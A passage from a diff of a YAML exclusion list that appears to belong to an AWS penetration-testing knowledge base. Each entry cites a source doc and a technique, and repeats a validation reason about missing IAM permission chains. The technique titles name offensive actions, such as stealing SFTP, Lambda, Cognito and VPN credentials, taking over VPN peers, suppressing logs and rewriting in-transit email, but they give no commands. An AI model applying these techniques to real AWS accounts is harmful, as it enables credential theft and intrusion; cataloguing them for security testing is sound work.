evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#eventbridge-connection-credentials-without-statesrevealsecrets + technique: aws-audit-exfiltrate-eventbridge-connection-credential-via-teststate-http-task + reason: 'Exfiltrate EventBridge Connection credential via TestState HTTP Task: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-gamelift-streams-enum.md#enumerate-bearer-stream-urls + technique: aws-audit-gameliftstreams-bearer-url + reason: 'Use a GameLift Streams bearer URL: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-7128f3c7 + reason: 'Recover IVS real-time ingest credentials: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-997dd8c9 + reason: 'Recover IVS low-latency stream publishing key: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-post-exploitation/README.md#recover-publishing-and-playback-capabilities + technique: aws-audit-ivs-recover-publishing-and-playback-capabilit-fd578249 + reason: 'Recover IVS secure SRT passphrase: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + technique: aws-audit-jit-shell-to-hybrid-managed-instance + reason: 'JIT shell to hybrid managed instance: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workdocs-post-exploitation/README.md#workdocsupdateuser + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md#workdocsupdateuser + technique: aws-audit-promote-controlled-workdocs-user-to-administrator + reason: 'Promote controlled WorkDocs user to administrator: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#transferupdateconnector--redirect-an-sftp-connector-and-capture-its-stored-credential + technique: aws-audit-redirect-connector-to-steal-partner-sftp-credential + reason: 'Redirect connector to steal partner SFTP credential: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-wickr-privesc/README.md#wickrcreatedataretentionbotchallenge--take-over-the-data-retention-bot + technique: aws-audit-reset-wickr-retention-bot-challenge-and-operate-bot + reason: 'Reset Wickr retention-bot challenge and operate bot: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmresumesession + technique: aws-audit-resume-disconnected-hybrid-node-session + reason: 'Resume disconnected hybrid-node session: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamexecutescheduledquery--trigger-an-already-stored-role-workflow + source_revision: 0d0ea06005 + technique: aws-audit-trigger-stored-query-that-delivers-restricted-secrets + reason: 'Trigger stored query that delivers restricted secrets: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appsync-post-exploitation/README.md#read-environment-secrets-and-export-the-schema + technique: aws-audit2-appsync-2 + reason: 'Read environment secrets and export the schema: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-1 + reason: 'Query-history and result disclosure: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-athena-query-disclosure-post-exploitation/README.md#query-history-and-result-disclosure + technique: aws-audit2-athena-query-disclosure-2 + reason: 'GetQueryResults with result-object access: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#meetings + technique: aws-chime-attendee-jointoken-read + reason: 'Read another Chime meeting attendee JoinToken: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md#enumeration + technique: aws-codebuild-read-plaintext-aws-credential + reason: 'Recover another AWS principal''s credential from build variables: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinegetjobdetails--known-job-artifact-credentials + technique: aws-codepipeline-getjobdetails-artifact-session + reason: 'codepipeline:GetJobDetails: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-job-credentials-privesc/README.md#codepipelinepollforjobs--custom-action-artifact-credentials + technique: aws-codepipeline-pollforjobs-artifact-session + reason: 'codepipeline:PollForJobs: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md#directory-and-client-secret-disclosure + technique: aws-cognito-describeidentityprovider-upstream-client-secret + reason: 'Recover an upstream identity provider''s OAuth client credential: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-cognito-upstream-idp-client-secret + reason: 'Read upstream social or OIDC provider client secret: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#collect-contact-metadata-attributes-references-and-files + technique: aws-connect-contact-credential + reason: 'Recover a credential persisted in Connect contact attributes or attached files: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#read-or-monitor-live-conversations + technique: aws-connect-conversation-credential + reason: 'Capture a credential from live voice/chat transcript or monitor session: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-connect-enum.md#authorization-and-unauthenticated-boundary + technique: aws-connect-createparticipant-bearer + reason: 'Mint a participant bearer for an active Connect contact: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#recover-flow-source-and-integration-targets + technique: aws-connect-flow-credential + reason: 'Recover hard-coded credential from Connect flow/module source: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#intercept-and-alter-an-active-chat-with-a-custom-message-processor + technique: aws-connect-processor-credential + reason: 'Capture a credential through controlled Connect message processor: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-connect-post-exploitation/README.md#stream-an-active-chat-to-a-cross-account-sns-topic + technique: aws-connect-stream-credential + reason: 'Capture a credential from cross-account live chat stream: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-datazone-persistence/README.md#add-an-attacker-profile-as-a-project-owner + technique: aws-datazone-createprojectmembership-owner + reason: 'Grant a controlled DataZone profile project ownership: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: aws-ec2-launchtemplate-embedded-iam-key + reason: 'Read IAM access keys embedded in EC2 launch-template user data: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: aws-ecr-image-embedded-credential + reason: 'ECR image-layer embedded credential theft: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + technique: aws-eks-updatepodidentityassociation-targetrole + reason: 'Repoint EKS Pod Identity targetRoleArn to a cross-account role: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#eventbridge-rule-targets + technique: aws-events-listtargets-static-credential + reason: 'Recover another identity credential from static rule target Input: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-healthomics-enum.md#cloudtrail-and-stealth + technique: aws-healthomics-cloudtrail-workflow-zip-credential + reason: 'Recover another identity credential from a logged HealthOmics workflow ZIP: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#enumerate-and-read-cdc-streams + technique: aws-keyspaces-cdc-credential-record + reason: 'Recover another identity credential from a Keyspaces CDC record: no source IAM action or resource is + declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s + permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject and effective + added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-keyspaces-enum.md#connect-to-cql-with-sigv4 + technique: aws-keyspaces-select-credential-row + reason: 'Recover another identity credential from a Keyspaces table row: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#lambda-durable-executions + technique: aws-lambda-durablehistory-secret-identity + reason: 'Recover a distinct identity credential from Lambda durable history: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-getfunction-package-secret-identity + reason: 'Recover a distinct identity credential from Lambda deployment package: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listfunctions-secret-identity + reason: 'Recover a distinct identity credential from ListFunctions environment: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md#enumeration + technique: aws-lambda-listversions-secret-identity + reason: 'Recover a distinct identity credential from ListVersionsByFunction environment: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-lex-v2-enum.md#runtime-sessions-and-stored-utterances + technique: aws-lex-getsession-other-application-session + reason: 'Recover another user application session from Lex GetSession: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-pa-persist-s01-01 + reason: 'Create EAB for an existing issuance role, recover binding, register ACME account: no source IAM action + or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML + cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential + subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#harvest-db-credentials-via-rds-proxy-auth-secrets-rdsdescribedbproxies--secretsmanagergetsecretvalue + technique: aws-pa-s03-4-rds-proxy-auth-secret + reason: 'Read RDS Proxy backend database credentials: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#establish-an-attacker-owned-consortium-member + technique: aws-peaso-establish-an-attacker-owned-consortium-member + reason: 'Join Fabric consortium with controlled member: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-blockchain-persistence/README.md#mint-an-accessor-bearer-credential + technique: aws-peaso-mint-an-accessor-bearer-credential + reason: 'Create AMB billing bearer credential: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#postgresql-aurora + technique: aws-rds-dbconnect-aurora-role + reason: 'IAM DB authentication plus Aurora cluster role association: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + technique: aws-s05-01-token-for-an-existing-admin-grafana-service-account + reason: 'Token for an existing ADMIN Grafana service account: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-msk-post-exploitation/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md#kafkaupdatesecurity-to-expose-private-topics-without-credentials + technique: aws-s05-04-read-public-msk-sasl-scram-secret + reason: 'Read public MSK SASL/SCRAM secret: no source IAM action or resource is declared in requires. The conditional + aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunction--download-a-function-deployment-package + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunction--download-a-function-deployment-package + source_revision: 3ad99dc7ac + technique: aws-s05-10-lambda-getfunction-download-a-function-deployment-packa + reason: '`lambda:GetFunction` — Download a function deployment package: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetfunctionconfiguration--read-environment-variables + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetfunctionconfiguration--read-environment-variables + source_revision: 3ad99dc7ac + technique: aws-s05-11-lambda-getfunctionconfiguration-read-environment-variab + reason: '`lambda:GetFunctionConfiguration` — Read environment variables: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-function-access-post-exploitation/README.md#lambdagetlayerversion--download-layer-code + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdagetlayerversion--download-layer-code + source_revision: 3ad99dc7ac + technique: aws-s05-12-lambda-getlayerversion-download-layer-code + reason: '`lambda:GetLayerVersion` — Download layer code: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + technique: aws-s05-28-studio-presigned-url-to-zeppelin-execution + reason: 'Studio presigned URL to Zeppelin execution: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#abusing-workmail-to-bypass-ses-sandbox + technique: aws-s05-abusing-workmail-to-bypass-ses-sandbox + reason: 'Abusing WorkMail to bypass SES sandbox: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#disable-inline-redaction + technique: aws-s05-disable-inline-redaction + reason: 'Disable inline redaction: no source IAM action or resource is declared in requires. The conditional aws_role + target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor + the exact source action, resource, credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2getvpnconnectiondevicesampleconfiguration--disclose-site-to-site-vpn-pre-shared-keys + technique: aws-s05-ec2getvpnconnectiondevicesampleconfiguration-disclose-site-to-site-vpn + reason: '`ec2:GetVpnConnectionDeviceSampleConfiguration` — disclose Site-to-Site VPN pre-shared keys: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyclientvpnendpoint--hijack-client-dnsrouting-and-suppress-connection-logs + technique: aws-s05-ec2modifyclientvpnendpoint-hijack-client-dnsrouting-and-suppress-conne + reason: '`ec2:ModifyClientVpnEndpoint` — hijack client DNS/routing and suppress connection logs: no source IAM + action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the + YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2modifyvpnconnection--ec2modifyvpntunneloptions--take-over-an-existing-site-to-site-vpn-peer + technique: aws-s05-ec2modifyvpnconnection-ec2modifyvpntunneloptions-take-over-an-existing + reason: '`ec2:ModifyVpnConnection` + `ec2:ModifyVpnTunnelOptions` — take over an existing Site-to-Site VPN peer: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-export-query-results-to-s3-with-timestreamunload + technique: aws-s05-liveanalytics-export-query-results-to-s3-with-timestreamunload + reason: 'LiveAnalytics: export query results to S3 with `timestream:Unload`: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#liveanalytics-query-a-table-with-timestreamselect + technique: aws-s05-liveanalytics-query-a-table-with-timestreamselect + reason: 'LiveAnalytics: query a table with `timestream:Select`: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#logsfilterlogevents--logsgetlogevents--recover-custom-idp-passwords-from-logs + technique: aws-s05-logsfilterlogevents-logsgetlogevents-recover-custom-idp-passwords-from + reason: '`logs:FilterLogEvents` / `logs:GetLogEvents` — recover custom-IdP passwords from logs: no source IAM + action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so the + YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-systems-manager-for-sap-post-exploitation/README.md#recover-configured-sap-hana-administrator-credentials + technique: aws-s05-recover-configured-sap-hana-administrator-credentials + reason: 'Recover configured SAP HANA administrator credentials: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-thin-client-post-exploitation/README.md#thinclientupdateenvironment---redirect-devices-to-another-desktop-provider-or-idp-endpoint + technique: aws-s05-thinclientupdateenvironment-redirect-devices-to-another-desktop-provid + reason: '`thinclient:UpdateEnvironment` - Redirect devices to another desktop provider or IdP endpoint: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetoidcinfo--disclose-the-sso-client-secret + technique: aws-s05-wickrgetoidcinfo-disclose-the-sso-client-secret + reason: '`wickr:GetOidcInfo` — disclose the SSO client secret: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrgetopentdfconfig--disclose-the-opentdf-client-secret + technique: aws-s05-wickrgetopentdfconfig-disclose-the-opentdf-client-secret + reason: '`wickr:GetOpentdfConfig` — disclose the OpenTDF client secret: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-wickr-post-exploitation/README.md#wickrlistusers--recover-an-invited-users-enrollment-code + technique: aws-s05-wickrlistusers-recover-an-invited-users-enrollment-code + reason: '`wickr:ListUsers` — recover an invited user''s enrollment code: no source IAM action or resource is declared + in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#workmailmessageflowgetrawmessagecontent--putrawmessagecontent--steal-or-rewrite-in-transit-email + technique: aws-s05-workmailmessageflowgetrawmessagecontent-putrawmessagecontent-steal-or + reason: '`workmailmessageflow:GetRawMessageContent` / `PutRawMessageContent` — steal or rewrite in-transit email: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s 